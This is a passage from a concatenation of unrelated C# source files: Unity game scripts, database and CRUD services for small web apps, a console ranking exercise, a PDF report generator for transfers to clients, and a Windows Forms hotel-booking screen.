FireRocket();
lastRocketTime = Time.time;
}
}
}
private void FireRocket() {
GameObject b = Instantiate(rocket, transform.position + transform.up * firingOffset.magnitude, transform.rotation, null);
b.GetComponent<Rigidbody>().velocity = gameObject.GetComponent<Rigidbody>().velocity + transform.up * rocketSpeed;
}
public void Shoot() {
GameObject b = Instantiate(bullet, transform.position + transform.up * firingOffset.magnitude, Quaternion.identity, null);
Instantiate(pew);
b.GetComponent<Rigidbody>().velocity = gameObject.GetComponent<Rigidbody>().velocity + transform.up * bulletSpeed;
}
}
|
using System.Linq;
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class UnitManager : MonoBehaviour
{
public Unit[] units;
public int Rent {
get { return units.Sum(u => u.Rent); }
}
public bool RepairNeeded {
get {
for (int i = 0; i < units.Length; i ++) {
if (units[i].RepairNeeded)
return true;
}
return false;
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace MentorAlgorithm.Helpers
{
public static class Helper
{
public static int Evaluate(string expression)
{
System.Data.DataTable table = new System.Data.DataTable();
return Convert.ToInt32(table.Compute(expression, String.Empty));
}
}
}
|
namespace CS.EntityFramework.Models
{
public class Order
{
public Order ()
{
}
}
}
|
using OpHomeSecurity.Web.Amazon;
using OpHomeSecurity.Web.Models;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Web;
namespace OpHomeSecurity.Web.Database
{
public class DatabaseService
{
private dboOpHomeSecurityEntities _context;
public DatabaseService()
{
_context = new dboOpHomeSecurityEntities();
}
public bool CreateAlbum(string albumName, bool isFeatured)
{
try
{
using (_context)
{
tAlbum album = new tAlbum();
album.Active = true;
album.AlbumId = Guid.NewGuid();
album.Name = albumName;
album.IsFeatured = isFeatured;
_context.tAlbums.Add(album);
_context.SaveChanges();
}
return true;
}
catch (Exception ex)
{
return false;
}
}
public List<AlbumModel> GetAlbums()
{
return _context.tAlbums.Select(a => new AlbumModel { AlbumName = a.Name, AlbumId = a.AlbumId, IsActive = a.Active, IsFeatured = a.IsFeatured }).ToList();
}
public bool CreateImage(List<ImageModel> images)
{
AmazonService amzService = new AmazonService();
bool isSuccess = false;
try
{
using (_context)
{
foreach (var image in images)
{
byte[] imageBytes = null;
tImage newImage = new tImage();
newImage.Active = true;
newImage.ImageId = Guid.NewGuid();
newImage.Name = image.ImageName;
newImage.AlbumId = image.AlbumId;
newImage.IsFeatured = image.IsFeatured;
_context.tImages.Add(newImage);
using (var binaryReader = new BinaryReader(image.InputStream))
{
imageBytes = binaryReader.ReadBytes(image.ContentLength);
MemoryStream memoryStream = new MemoryStream(imageBytes);
amzService.PutObjectToAmazon("Gallery/" + newImage.ImageId.ToString(), memoryStream);
}
}
_context.SaveChanges();
}
return isSuccess = true;
}
catch (Exception ex)
{
return isSuccess;
}
}
public bool CreateImage(ImageModel image, Guid productId)
{
AmazonService amzService = new AmazonService();
bool isSuccess = false;
try
{
using (_context)
{
byte[] imageBytes = null;
var toUpdate = _context.tProducts.Where(p => p.ProductId == productId).FirstOrDefault();
toUpdate.ImageUrl = image.ImageName;
using (var binaryReader = new BinaryReader(image.InputStream))
{
imageBytes = binaryReader.ReadBytes(image.ContentLength);
MemoryStream memoryStream = new MemoryStream(imageBytes);
amzService.PutObjectToAmazon("Products/" + toUpdate.ProductId.ToString(), memoryStream);
}
_context.SaveChanges();
}
return isSuccess = true;
}
catch (Exception ex)
{
return isSuccess;
}
}
public List<ImageModel> GetImages(string albumId)
{
return _context.tImages.Where(i => i.AlbumId == new Guid(albumId)).Select(i => new ImageModel { ImageName = i.Name, IsActive = i.Active, ImageId = i.ImageId, AlbumId = i.AlbumId, IsFeatured = i.IsFeatured }).ToList();
}
public bool DeleteImage(Guid imageId)
{
using (_context)
{
try
{
AmazonService amzService = new AmazonService();
amzService.DeleteObjectFromAmazon("Gallery/" + imageId.ToString());
var imageToDelete = _context.tImages.Where(i => i.ImageId == imageId).First();
_context.tImages.Remove(imageToDelete);
_context.SaveChanges();
return true;
}
catch (Exception ex)
{
return false;
}
}
}
public bool DeleteAlbum(Guid albumId)
{
bool isSuccess = true;
try
{
var getImages = GetImages(albumId.ToString());
using (_context)
{
foreach (var image in getImages)
{
AmazonService amzService = new AmazonService();
amzService.DeleteObjectFromAmazon("Gallery/" + image.ImageId.ToString());
var imageToDelete = _context.tImages.Where(i => i.ImageId == image.ImageId).First();
_context.tImages.Remove(imageToDelete);
}
var albumToDelete = _context.tAlbums.Where(a => a.AlbumId == albumId).First();
_context.tAlbums.Remove(albumToDelete);
_context.SaveChanges();
}
}
catch (Exception ex)
{
isSuccess = false;
}
return isSuccess;
}
public List<tAlbum> GetImages()
{
var albums = _context.tAlbums.Select(a => a).ToList();
return albums;
}
public bool CreateTestimonial(TestimonialModel testimonial)
{
var isSuccess = true;
try
{
using (_context)
{
tTestimonial test = new tTestimonial();
test.Active = true;
test.ByName = testimonial.ByName;
test.Location = testimonial.Location;
test.Testimonial = testimonial.Testimonial;
test.TestimonialId = Guid.NewGuid();
_context.tTestimonials.Add(test);
_context.SaveChanges();
}
}
catch (Exception ex)
{
isSuccess = false;
}
return isSuccess;
}
public bool DeleteTestimonial(Guid testimonialId)
{
bool isSuccess = true;
try
{
var toDelete = _context.tTestimonials.Where(t => t.TestimonialId == testimonialId).First();
_context.tTestimonials.Remove(toDelete);
_context.SaveChanges();
}
catch (Exception ex)
{
isSuccess = false;
}
return isSuccess;
}
public bool UpdateTestimonial(TestimonialModel model)
{
bool isSuccess = true;
try
{
var toUpdate = _context.tTestimonials.Where(t => t.TestimonialId == model.TestimonialId).First();
toUpdate.Active = model.Active;
toUpdate.ByName = model.ByName;
toUpdate.Location = model.Location;
toUpdate.Testimonial = model.Testimonial;
_context.SaveChanges();
}
catch (Exception ex)
{
isSuccess = false;
}
return isSuccess;
}
public List<TestimonialModel> GetTestimonials()
{
return _context.tTestimonials.Select(t => new TestimonialModel { Active = t.Active, ByName = t.ByName, Location = t.Location, Testimonial = t.Testimonial, TestimonialId = t.TestimonialId }).ToList();
}
public List<ProductModel> GetProducts()
{
return _context.tProducts.Select(p => new ProductModel { Description = p.Description, ImageUrl = p.ImageUrl, Name = p.Name, ProductId = p.ProductId }).ToList();
}
public bool CreateProduct(ProductModel model, ImageModel image)
{
bool isSuccess = false;
try
{
var product = new tProduct();
product.ProductId = Guid.NewGuid();
product.Name = model.Name;
product.Description = model.Description;
product.ImageUrl = "Empty";
_context.tProducts.Add(product);
_context.SaveChanges();
if (image != null)
{
isSuccess = CreateImage(image, product.ProductId);
}
isSuccess = true;
}
catch (Exception ex)
{
isSuccess = false;
Debug.WriteLine(ex.ToString());
}
return isSuccess;
}
public bool DeleteProduct(Guid productId)
{
bool isSuccess = false;
try
{
AmazonService amzService = new AmazonService();
amzService.DeleteObjectFromAmazon("Products/" + productId.ToString());
var toDelete = _context.tProducts.Where(p => p.ProductId == productId).FirstOrDefault();
_context.tProducts.Remove(toDelete);
_context.SaveChanges();
isSuccess = true;
}
catch (Exception)
{
isSuccess = false;
}
return isSuccess;
}
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
namespace More_Ex_1
{
class Program
{
static void Main(string[] args)
{
Dictionary<string, string> contests = new Dictionary<string, string>();
Dictionary<string, Dictionary<string, int>> submissions = new Dictionary<string, Dictionary<string, int>>();
string command = Console.ReadLine();
while (command!="end of contests")
{
List<string> input = command.Split(':').ToList();
string contest = input[0];
string password = input[1];
contests[contest] = password;
command = Console.ReadLine();
}
//foreach (var item in contests)
//{
// Console.WriteLine($"{item.Key} -> {item.Value}");
//}
command = Console.ReadLine();
while (command!="end of submissions")
{
List<string> input = command.Split("=>").ToList();
string contest = input[0];
string password = input[1];
string username = input[2];
int score = int.Parse(input[3]);
if (contests.ContainsKey(contest))
{
if (contests[contest]==password)
{
if (!submissions.ContainsKey(username))
{
submissions[username] = new Dictionary<string, int>();
submissions[username].Add(contest, score);
}
else if (!submissions[username].ContainsKey(contest))
{
submissions[username][contest] = score;
}
if (submissions[username][contest]<score)
{
submissions[username][contest] = score;
}
}
}
//foreach (var item in submissions)
//{
// Console.WriteLine($"{item.Key}");
// foreach (var student in item.Value)
// {
// Console.WriteLine($"{student.Value} -> {student.Key}");
// }
//}
command = Console.ReadLine();
}
//USERNAME -> EXAM -> SCORE
//foreach (var item in submissions)
//{
// Console.WriteLine($"{item.Key}");
// foreach (var exam in item.Value)
// {
// Console.WriteLine($"{exam}");
// }
//}
int bestSum = 0;
string bestStudent = string.Empty;
foreach (var item in submissions)
{
var sum = item.Value.Values.Sum();
if (sum > bestSum)
{
bestSum = sum;
bestStudent = item.Key;
}
}
Console.WriteLine($"Best candidate is {bestStudent} with total {bestSum} points.");
Console.WriteLine("Ranking: ");
var orderedNames = submissions.OrderBy(x=>x.Key);
foreach (var item in orderedNames)
{
Console.WriteLine($"{item.Key}");
var orderedScores = item.Value.OrderByDescending(x=>x.Value);
foreach (var student in orderedScores)
{
Console.WriteLine($"# {student.Key} -> {student.Value}");
}
}
}
}
}
|
using UnityEngine;
using System.Collections;
using UnityEngine.EventSystems;
using UnityEngine.UI;
public class TouchInventory : MonoBehaviour {
EventSystem eventSystem;
PlayerInventory playerInventory;
float touchBeganTime;
float touchHoldTime = 1.0f;
bool dragging = false;
GameObject floatImage;
// Use this for initialization
void Start () {
eventSystem = GameObject.Find ("EventSystem").GetComponent<EventSystem>();
playerInventory = GameObject.Find ("Inventory Manager").GetComponent<PlayerInventory> ();
}
// Update is called once per frame
void Update () {
foreach(Touch touch in Input.touches){
if(touch.phase == TouchPhase.Began && eventSystem.IsPointerOverGameObject() ){
print ("Touching UI...");
touchBeganTime = Time.time;
} else if(touch.phase == TouchPhase.Stationary && (Time.time - touchBeganTime) >= touchHoldTime && !dragging){
print ("Touch held down...");
if(playerInventory.playerInventory[eventSystem.currentSelectedGameObject.GetComponent<SimpleIndex>().index]){
print ("Spawn copy icon...");
dragging = true;
floatImage = Instantiate(eventSystem.currentSelectedGameObject.transform.GetChild(0).gameObject, touch.position, Quaternion.identity) as GameObject;
SimpleIndex newIndex = floatImage.gameObject.AddComponent<SimpleIndex>() as SimpleIndex;
newIndex.index = eventSystem.currentSelectedGameObject.GetComponent<SimpleIndex>().index;
floatImage.transform.SetParent(GameObject.Find("Canvas").transform);
floatImage.transform.localScale = new Vector3 (1.7f, 1.7f, 1.7f);
}
} else if (touch.phase == TouchPhase.Moved && dragging){
print ("Touch dragging...");
floatImage.transform.position = touch.position;
} else if(touch.phase == TouchPhase.Ended && dragging){
print ("Touch dropping...");
playerInventory.dropItem(floatImage.GetComponent<SimpleIndex>().index);
floatImage.SetActive(false);
dragging = false;
} else if(touch.phase == TouchPhase.Ended && !dragging){
//call colour change function for correct item in inventory
print ("Change colour...");
if(eventSystem.currentSelectedGameObject && eventSystem.currentSelectedGameObject.tag == "HUD_Inv"){
// string objectName = eventSystem.currentSelectedGameObject.name; // take name of object as a string
// string lastLetter = objectName[objectName.Length-1].ToString(); // take last letter and convert to int
// int invIndex = int.Parse(lastLetter ); // use int to call the right colour from playerInventory
// print (invIndex);
int itemIndex = eventSystem.currentSelectedGameObject.GetComponent<SimpleIndex>().index;
//print("Set player colour to: " + playerInventory.playerInventory[itemIndex].GetComponent<InventoryItem>().itemColor);
}
}
}
}
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
// Plays animation, and sound with a delay
public class JumpTrigger : MonoBehaviour {
public AudioSource DoorBang;
public AudioSource JumpTune;
public GameObject Zombie;
public GameObject Door;
void OnTriggerEnter()
{
GetComponent<BoxCollider>().enabled = false;
Door.GetComponent<Animation>().Play("JumpDoor");
DoorBang.Play();
Zombie.SetActive(true);
StartCoroutine(PlayJumpTune());
}
IEnumerator PlayJumpTune()
{
yield return new WaitForSeconds(0.4f);
JumpTune.Play();
}
}
|
using System;
using System.Collections;
using System.Text;
using HTB.Database;
using HTBPdf;
using HTBUtilities;
using iTextSharp.text;
using System.IO;
using HTB.Database.Views;
using HTBExtras;
namespace HTBReports
{
public class TransferToClient : IReport
{
private int _col;
private int _col1;
private int _col2;
private int _col3;
private int _col4;
private int _col5;
private int _col6;
private int _col7;
private int _col8;
private int _col9;
private const int MaxLines = 2550;
private int _startLine;
private int _lin;
private int _gap;
private int _normalGap;
private readonly string _logoPath = HTBUtils.GetConfigValue("LogoPath_Mahnung");
private ECPPdfWriter _writer;
private tblKlient _klient;
private int _pageNumber = 1;
private DateTime _startDate, _endDate;
public void GenerateTransferList(Stream os, tblKlient klient, ArrayList transfers, DateTime startDate, DateTime endDate)
{
_klient = klient;
_startDate = startDate;
_endDate = endDate;
Init();
Open(os);
PrintPageHeader();
_lin = PrintTransfers(transfers);
_lin += _gap * 2;
_lin = NewPageOnOverflow();
PrintFooter();
Close();
}
private void Init()
{
_startLine = 400;
_lin = _startLine;
_normalGap = 37;
_gap = _normalGap;
_col = 30;
_col1 = _col; // this is the actual start columng (col 1)
_col2 = _col1 + 220; // Aktenzeichen
_col3 = _col2 + 370; // Name Schuldner
_col4 = _col3 + 250; // Rg. Nummer
_col5 = _col4 + 250; // Kundennummer
_col6 = _col5 + 200; // Datum
_col7 = _col6 + 250; // Betrag
_col8 = _col7 + 250; // Buchung Kapital
_col9 = _col8 + 250; // Buchung Zinsen
}
private void Open(Stream os)
{
_writer = new ECPPdfWriter();
_writer.setFormName("A4");
_writer.open(os);
}
private void Close()
{
_writer.Close();
}
public int PrintPageHeader()
{
_lin = _startLine;
_writer.drawBitmap(350, _col, Image.GetInstance(_logoPath), 40);
for (int i = 0; i < 3; i++)
{
_writer.setFont("Arial", 22, true, false, false);
_writer.print(50, _col + 1600 + i, "EUROPEAN CAR PROTECT", 'R', BaseColor.BLUE); // give it a bolder look
_writer.setFont("Arial", 16, true, false, false);
_writer.print(120, _col + 1600 + i, "INKASSO-SERVICE", 'R', BaseColor.BLUE); // give it a bolder look
}
if (_pageNumber == 1)
{
_lin += _gap + 20;
var contact = (tblAnsprechpartner)HTBUtils.GetSqlSingleRecord("SELECT * FROM tblAnsprechpartner WHERE AnsprechKlient = " + _klient.KlientID, typeof(tblAnsprechpartner));
_writer.setFont("Calibri", 8);
_writer.print((_lin += _gap), _col1, "E.C.P. European Car Protect KG");
_writer.print((_lin += _gap), _col1, "Loigerstr. 89 A 5071 Wals");
_writer.drawLine(_lin + 30, _col1, _lin + 30, _col1 + 465);
_lin += _gap;
SetLineFont();
_writer.print((_lin += _gap), _col1, _klient.KlientName1);
_writer.print((_lin += _gap), _col1, _klient.KlientName2);
if (contact != null)
{
_writer.print((_lin += _gap), _col1, "z.H. " + contact.AnsprechTitel + " " + contact.AnsprechVorname + " " + contact.AnsprechNachname);
}
_writer.print((_lin += _gap), _col1, _klient.KlientStrasse);
_writer.print((_lin += _gap), _col1, _klient.KlientLKZ + " - " + _klient.KlientPLZ + " " + _klient.KlientOrt);
}
SetLineFont();
_writer.print((_lin += _gap), _col9, "Salzburg, am " + DateTime.Now.ToShortDateString(), 'R');
_lin += _gap * 5;
SetLineFont();
_writer.print(2800, 1900, "Seite " + _pageNumber);
_pageNumber++;
SetHeadingFont();
_writer.print(_lin, _col, "Überweisungen: ");
SetLineFont();
_writer.print(_lin+8, _col+320, _startDate.ToShortDateString() + " - " + _endDate.ToShortDateString());
_lin += _gap * 2;
SetLineFont();
PrintHeaderLine();
return _lin;
}
private void PrintBericht(string info)
{
SetLineFont();
_writer.print(_lin, _col3, "Sehr geehrter Damen und Herren,");
_lin += _gap * 2;
_lin = ReportUtils.PrintTextInMultipleLines(this, _lin, _col3, _gap, info, 100);
_lin += _gap;
}
private int PrintTransfers(ArrayList list)
{
double totalAmount = 0;
#region Print Transfers To Client
SetLineFont();
foreach (KlientTransferRecord inv in list)
{
PrintInvoiceLine(inv);
totalAmount += inv.TransferAmount;
NewPageOnOverflow();
}
#endregion
_lin += _gap;
SetHeadingFont();
_writer.print(_lin, _col7 - 10, "Total überwiesen: " + HTBUtils.FormatCurrency(totalAmount), 'R');
SetLineFont();
return _lin;
}
private void PrintInvoiceLine(KlientTransferRecord rec)
{
const int margin = 10;
const int maxGegnerNameChars = 20;
int gap = _gap + margin;
_writer.drawRectangle(_lin, _col1, _lin +gap, _col9, BaseColor.WHITE);
_writer.print(_lin + 5, _col1 + margin, string.IsNullOrEmpty(rec.AktAZ) ? rec.AktId.ToString() : rec.AktAZ);
_writer.print(_lin + 5, _col2 + margin, rec.GegnerName.Length < maxGegnerNameChars ? rec.GegnerName : rec.GegnerName.Substring(0, maxGegnerNameChars) + "...");
_writer.print(_lin + 5, _col3 + margin, rec.KlientInvoiceNumber);
_writer.print(_lin + 5, _col4 + margin, rec.KlientCustomerNumber);
_writer.print(_lin + 5, _col5 + ((_col6 - _col5)/2), rec.TransferDate.ToShortDateString(), 'C');
_writer.print(_lin + 5, _col7 - margin, HTBUtils.FormatCurrency(rec.TransferAmount), 'R');
_writer.print(_lin + 5, _col8 - margin, HTBUtils.FormatCurrency(rec.AppliedToInvoice), 'R');
_writer.print(_lin + 5, _col9 - margin, HTBUtils.FormatCurrency(rec.AppliedToInterest), 'R');
_writer.drawLine(_lin, _col2, _lin +gap, _col2);
_writer.drawLine(_lin, _col3, _lin +gap, _col3);
_writer.drawLine(_lin, _col4, _lin +gap, _col4);
_writer.drawLine(_lin, _col5, _lin +gap, _col5);
_writer.drawLine(_lin, _col6, _lin +gap, _col6);
_writer.drawLine(_lin, _col7, _lin +gap, _col7);
_writer.drawLine(_lin, _col8, _lin +gap, _col8);
_writer.drawLine(_lin, _col9, _lin +gap, _col9);
_lin +=gap;
}
private void PrintHeaderLine()
{
const int margin = 10;
int gap = _gap + margin;
_writer.drawRectangle(_lin, _col1, _lin + gap, _col9, BaseColor.WHITE);
_writer.print(_lin + 5, _col1 + ((_col2 - _col1) / 2), "Aktenzeichen", 'C');
_writer.print(_lin + 5, _col2 + ((_col3 - _col2) / 2), "Name Schuldner", 'C');
_writer.print(_lin + 5, _col3 + ((_col4 - _col3) / 2), "Rg. Nummer", 'C');
_writer.print(_lin + 5, _col4 + ((_col5 - _col4) / 2), "Kundennummer", 'C');
_writer.print(_lin + 5, _col5 + ((_col6 - _col5) / 2), "Datum", 'C');
_writer.print(_lin + 5, _col7 - ((_col7 - _col6) / 2), "Betrag (Ausgang)", 'C');
_writer.print(_lin + 5, _col8 - ((_col8 - _col7) / 2), "Buchung Kapital", 'C');
_writer.print(_lin + 5, _col9 - ((_col9 - _col8) / 2), "Buchung Zinsen", 'C');
_writer.drawLine(_lin, _col2, _lin + gap, _col2);
_writer.drawLine(_lin, _col3, _lin + gap, _col3);
_writer.drawLine(_lin, _col4, _lin + gap, _col4);
_writer.drawLine(_lin, _col5, _lin + gap, _col5);
_writer.drawLine(_lin, _col6, _lin + gap, _col6);
_writer.drawLine(_lin, _col7, _lin + gap, _col7);
_writer.drawLine(_lin, _col8, _lin + gap, _col8);
_writer.drawLine(_lin, _col9, _lin + gap, _col9);
_lin += gap;
}
private void SetHeadingFont()
{
_writer.setFont("Calibri", 12, true, false, true);
}
public void SetLineFont()
{
_writer.setFont("Calibri", 10);
}
public void PrintFooter()
{
SetLineFont();
_writer.print((_lin += _gap), _col1, "Mit freundlichem Gruß,");
_lin += _gap;
_writer.print((_lin += _gap), _col1, "E.C.P. European Car Protect KG");
}
public void NewPage()
{
_writer.newPage();
}
private string GetAppliedToInClause(ArrayList list)
{
var sb = new StringBuilder("( ");
if(list.Count > 0)
{
foreach (tblCustInkAktInvoice inv in list)
{
if (inv.InvoiceType == tblCustInkAktInvoice.INVOICE_TYPE_ORIGINAL || inv.InvoiceType == tblCustInkAktInvoice.INVOICE_TYPE_CLIENT_COST)
{
sb.Append(inv.InvoiceID);
sb.Append(", ");
}
}
sb.Remove(sb.Length - 2, 2);
sb.Append(")");
}
return sb.ToString();
}
#region Report Interface
private int NewPageOnOverflow()
{
if (CheckOverflow(_lin))
{
NewPage();
return PrintPageHeader();
}
return _lin;
}
public bool CheckOverflow(int plin)
{
return plin >= MaxLines;
}
public ECPPdfWriter GetWriter()
{
return _writer;
}
#endregion
}
}
|
using System;
using System.Collections.Generic;
using System.Composition;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
using Microsoft.EntityFrameworkCore;
using Npgsql;
using pract.Models;
namespace pract.Controllers
{
[Route("api/Comp")]
[ApiController]
public class CompController : ControllerBase
{
private readonly CompContext _context;
public CompController(CompContext context)
{
_context = context;
}
[HttpGet]
public IActionResult GetComps()
{
var comps = _context.Comp.ToList();
return Ok(comps);
}
[HttpGet("{id}")]
public IActionResult GetCompsbyId(int id)
{
var comp = _context.Comp.Find(id);
if(comp == null)
{
return NotFound();
}
return Ok(comp);
}
[HttpPost("{name}")]
public IActionResult PostComp(string name)
{
var comp = new Comp()
{
comp_Name = name
};
_context.Add(comp);
_context.SaveChanges();
return Ok("Created");
}
[HttpPut("{id}/{rename}")]
public IActionResult PutComp(int id, string rename)
{
var comp = _context.Comp.Find(id);
if (comp == null)
{
return NotFound();
}
comp.comp_Name = rename;
_context.Comp.Update(comp);
_context.SaveChanges();
return Ok("Update");
}
[HttpDelete("{id}")]
public IActionResult DeleteComp(int id)
{
var comp = _context.Comp.Find(id);
if (comp == null)
{
return NotFound();
}
_context.Comp.Remove(comp);
_context.SaveChanges();
return Ok("Deleted");
}
}
}
|
namespace TellStoryTogether.Migrations
{
using System;
using System.Data.Entity.Migrations;
public partial class LanguageTableRightToLeftRemoved : DbMigration
{
public override void Up()
{
DropColumn("dbo.Language", "RightToLeft");
}
public override void Down()
{
AddColumn("dbo.Language", "RightToLeft", c => c.Boolean(nullable: false));
}
}
}
|
using System;
using Vanara.PInvoke;
using static Vanara.PInvoke.Kernel32;
using static Vanara.PInvoke.User32_Gdi;
namespace Vanara.Windows.Shell
{
/// <summary>Wraps the icon location string used by some Shell classes.</summary>
public class IndirectString
{
/// <summary>Initializes a new instance of the <see cref="IndirectString"/> class.</summary>
public IndirectString() { }
/// <summary>Initializes a new instance of the <see cref="IndirectString"/> class.</summary>
/// <param name="module">The module file name.</param>
/// <param name="resourceIdOrIndex">
/// If this number is positive, this is the index of the resource in the module file. If negative, the absolute value of the number
/// is the resource ID of the icon in the module file.
/// </param>
public IndirectString(string module, int resourceIdOrIndex)
{
ModuleFileName = module;
ResourceId = resourceIdOrIndex;
}
/// <summary>Returns true if this location is valid.</summary>
/// <value><c>true</c> if this location is valid; otherwise, <c>false</c>.</value>
public bool IsValid => System.IO.File.Exists(ModuleFileName) && ResourceId != 0;
/// <summary>Gets or sets the module file name.</summary>
/// <value>The module file name.</value>
public string ModuleFileName { get; set; }
/// <summary>Gets or sets the resource index or resource ID.</summary>
/// <value>
/// If this number is positive, this is the index of the resource in the module file. If negative, the absolute value of the number
/// is the resource ID of the icon in the module file.
/// </value>
public int ResourceId { get; set; }
/// <summary>Gets the icon referred to by this instance.</summary>
/// <value>The icon.</value>
public string Value
{
get
{
if (!IsValid) return null;
using (var lib = LoadLibraryEx(ModuleFileName, Kernel32.LoadLibraryExFlags.LOAD_LIBRARY_AS_IMAGE_RESOURCE))
{
if (ResourceId >= 0) throw new NotSupportedException();
const int sz = 2048;
var sb = new System.Text.StringBuilder(sz, sz);
LoadString(lib, -ResourceId, sb, sz);
return sb.ToString();
}
}
}
/// <summary>Tries to parse the specified string to create a <see cref="IndirectString"/> instance.</summary>
/// <param name="value">The string representation in the format of either "ModuleFileName,ResourceIndex" or "ModuleFileName,-ResourceID".</param>
/// <param name="loc">The resulting <see cref="IndirectString"/> instance on success.</param>
/// <returns><c>true</c> if successfully parsed.</returns>
public static bool TryParse(string value, out IndirectString loc)
{
var parts = value?.Split(',');
if (parts != null && parts.Length == 2 && int.TryParse(parts[1], out var i) && parts[0].StartsWith("@"))
{
loc = new IndirectString(parts[0].TrimStart('@'), i);
return true;
}
loc = new IndirectString();
return false;
}
/// <summary>Returns a <see cref="System.String"/> that represents this instance.</summary>
/// <returns>A <see cref="System.String"/> that represents this instance.</returns>
public override string ToString() => IsValid ? $"@{ModuleFileName},{ResourceId}" : string.Empty;
}
} |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using WinterIsComing.Contracts;
using WinterIsComing.Models.CombatHandlers;
using WinterIsComing.Models.Spells;
namespace WinterIsComing.Models.Units
{
// Default stats: 150 attack points, 300 health points, 60 defense, 50 energy, range 1
public class IceGiant : Unit
{
private const int giantAttackPoints = 150;
private const int giantHealthPoints = 300;
private const int giantDefensePoints = 60;
private const int giantEnergy = 50;
private const int giantRange = 1;
private static IceGiantCombatHandler combatHandler = new IceGiantCombatHandler();
public IceGiant(int x, int y, string name)
: base(x, y, name, giantRange, giantAttackPoints, giantHealthPoints, giantDefensePoints, giantEnergy, combatHandler)
{
this.CombatHandler = combatHandler;
CombatHandler.Unit = this;
}
public override string ToString()
{
StringBuilder sb = new StringBuilder();
sb.AppendLine(String.Format(">{0} - {1} at ({2},{3})", this.Name, "IceGiant", CombatHandler.Unit.X, CombatHandler.Unit.Y));
sb.AppendLine(String.Format("-Health points = {0}", CombatHandler.Unit.HealthPoints));
sb.AppendLine(String.Format("-Attack points = {0}", CombatHandler.Unit.AttackPoints));
sb.AppendLine(String.Format("-Defense points = {0}", CombatHandler.Unit.DefensePoints));
sb.AppendLine(String.Format("-Energy points = {0}", CombatHandler.Unit.EnergyPoints));
sb.Append(String.Format("-Range = {0}", this.Range));
return sb.ToString();
}
public ICombatHandler CombatHandler { get; private set; }
}
}
|
using System.Collections;
using System.Collections.Generic;
using UnityEngine;
namespace Menu
{
public class ControlCamera : MonoBehaviour
{
public float distanceMinToMovingNext = 25;
public float speedMoving = 10;
public float speedMovingToCar = 3;
private ControlLevels controlLevels;
private bool isMoved = false;
private static bool isSelectLevel = false;
// Use this for initialization
void Start()
{
controlLevels = GetComponent<ControlLevels>();
transform.position = controlLevels.levels[controlLevels.currentLevelId].pShowEnvirenement.position;
isSelectLevel = false;
}
// Update is called once per frame
void FixedUpdate()
{
if (!isSelectLevel)
{
if (MovingCamera())
{
GoToPosition(controlLevels.currentLevelId);
}
}
else
{
SelectLevel();
}
}
public static void LevelIsSelected()
{
isSelectLevel = true;
}
public void SelectLevel()
{
if (!controlLevels.levels[controlLevels.currentLevelId].isCoomingSoon)
{
transform.position = Vector3.MoveTowards(transform.position, controlLevels.levels[controlLevels.currentLevelId].pShowCar.position, speedMovingToCar * Time.fixedDeltaTime);
}
}
bool MovingCamera()
{
bool isEndTouch = false;
float distance = ControlInputs.GetMovingDestance(out isEndTouch);
if (!isEndTouch)
{
if (0 < distance && controlLevels.currentLevelId < controlLevels.levels.Length - 1)
{
Vector3 posCurrent = controlLevels.levels[controlLevels.currentLevelId].pShowEnvirenement.position;
Vector3 posNext = controlLevels.levels[controlLevels.currentLevelId + 1].pShowEnvirenement.position;
transform.position = posCurrent + (posNext - posCurrent) * distance / Screen.width;
return false;
}
else
if (0 > distance && 0 < controlLevels.currentLevelId)
{
Vector3 posCurrent = controlLevels.levels[controlLevels.currentLevelId].pShowEnvirenement.position;
Vector3 posPrev = controlLevels.levels[controlLevels.currentLevelId - 1].pShowEnvirenement.position;
transform.position = posCurrent - (posPrev - posCurrent) * distance / Screen.width;
return false;
}
isMoved = false;
}
else
{
if (distanceMinToMovingNext * Screen.width / 100 < distance && controlLevels.currentLevelId < controlLevels.levels.Length - 1 && !isMoved)
{
controlLevels.changeStageToNext();
isMoved = true;
}
else
if (distance < -distanceMinToMovingNext * Screen.width / 100 && 0 < controlLevels.currentLevelId && !isMoved)
{
controlLevels.changeStageToPrev();
isMoved = true;
}
}
return true;
}
void GoToPosition(int idLevel)
{
transform.position = Vector3.MoveTowards(transform.position, controlLevels.levels[controlLevels.currentLevelId].pShowEnvirenement.position, speedMoving * Time.fixedDeltaTime);
}
}
}
|
using System;
using System.Collections.Generic;
using System.Text;
using ToDo.Entities.Concrete;
namespace ToDo.DataAccess.Interfaces
{
public interface IReportDal : IGenericDal<Report>
{
}
}
|
using Galeri.Entities.Concrete;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Galeri.DataAccess.Abstract
{
public interface IMarkaDal:IEntityRepository<Marka>,IFilterMethods<Marka>
{
}
}
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using HotelManagement.Controller;
namespace HotelManagement.UserInterface
{
public partial class DatTiec : Form
{
public DatTiec()
{
InitializeComponent();
}
DatTiecControl dtCtrl = new DatTiecControl();
KhachHangControl khCtrl = new KhachHangControl();
LoaiDatTiecControl ldtCtrl = new LoaiDatTiecControl();
MonAnControl maCtrl = new MonAnControl();
BangKeDatTiecControl bkdtCtrl = new BangKeDatTiecControl();
private void DatTiec_Load(object sender, EventArgs e)
{
khCtrl.HienThiComboBoxMaKhachHang(cmbMaKhachHang);
khCtrl.HienThiDataGridViewComboBoxColumnMaKhachHang(MaKhachHang);
ldtCtrl.HienThiComboBox(cmbMaLoaiDatTiec);
ldtCtrl.HienThiDataGridViewComboBoxColumn(MaLoaiDatTiec);
maCtrl.HienThiComboBox(cmbMonAn);
maCtrl.HienThiDataGridViewComboBoxColumn(MaMonAn);
dtCtrl.HienThi(dataGridView, bindingNavigator);
txtMaDatTiec.Text = AutoID.AutoIDCreater("MaDatTiec", "DT", dataGridView);
}
private void toolStripThoat_Click(object sender, EventArgs e)
{
this.Close();
}
private void toolStripLuu_Click(object sender, EventArgs e)
{
bindingNavigatorPositionItem.Focus();
dtCtrl.Save();
